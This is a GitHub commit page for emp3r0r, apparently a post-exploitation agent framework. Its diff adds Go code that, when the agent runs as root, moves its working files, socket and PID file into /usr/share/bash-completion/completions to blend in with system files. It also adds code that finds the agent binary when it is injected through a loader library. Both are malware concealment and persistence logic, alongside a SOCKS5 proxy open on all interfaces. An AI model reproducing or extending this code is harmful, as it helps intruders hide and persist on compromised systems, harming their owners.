Skip to content

Commit

Permalink
fix: unable to read config when started by loader.so
Browse files Browse the repository at this point in the history
  • Loading branch information
jm33-m0 committed Aug 2, 2023
1 parent f8505ee commit 9074fc4
Show file tree
Hide file tree
Showing 2 changed files with 25 additions and 0 deletions.
13 changes: 13 additions & 0 deletions core/lib/agent/config.go
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,8 @@ package agent

import (
"fmt"
"log"
"strings"

emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data"
"github.com/jm33-m0/emp3r0r/core/lib/tun"
Expand Down Expand Up @@ -38,6 +40,17 @@ func ApplyRuntimeConfig() (err error) {
// CA
tun.CACrt = []byte(RuntimeConfig.CA)

// change agent root to /usr/share/bash-completion/completions/helpers
agent_root_base := util.FileBaseName(RuntimeConfig.AgentRoot)
if HasRoot() {
prefix := "/usr/share/bash-completion/completions/helpers/"
RuntimeConfig.AgentRoot = fmt.Sprintf("%s/%s", prefix, agent_root_base)
RuntimeConfig.UtilsPath = strings.ReplaceAll(RuntimeConfig.UtilsPath, "/tmp/", prefix)
RuntimeConfig.SocketName = strings.ReplaceAll(RuntimeConfig.SocketName, "/tmp/", prefix)
RuntimeConfig.PIDFile = strings.ReplaceAll(RuntimeConfig.PIDFile, "/tmp/", prefix)
log.Printf("Agent root: %s", RuntimeConfig.AgentRoot)
}

// Socks5 proxy server
addr := fmt.Sprintf("0.0.0.0:%s", RuntimeConfig.AutoProxyPort)
emp3r0r_data.ProxyServer, err = socks5.NewClassicServer(addr, "",
Expand Down
12 changes: 12 additions & 0 deletions core/lib/util/mem.go
Original file line number Diff line number Diff line change
Expand Up @@ -38,6 +38,18 @@ func GetProcessExe(pid int) (exe_data []byte, err error) {
if runtime.GOOS == "windows" {
process_exe_file = os.Args[0]
}
// see loader.c
// if started by loader.so, /proc/self/exe will not be agent binary
if os.Getenv("LD") == "true" {
exe_file := FileBaseName(os.Args[0])
process_exe_file = fmt.Sprintf("%s/_%s",
ProcCwd(pid),
exe_file)
if os.Geteuid() == 0 {
process_exe_file = fmt.Sprintf("/usr/share/bash-completion/completions/%s",
exe_file)
}
}
exe_data, err = ioutil.ReadFile(process_exe_file)

return
Expand Down

0 comments on commit 9074fc4

Please sign in to comment.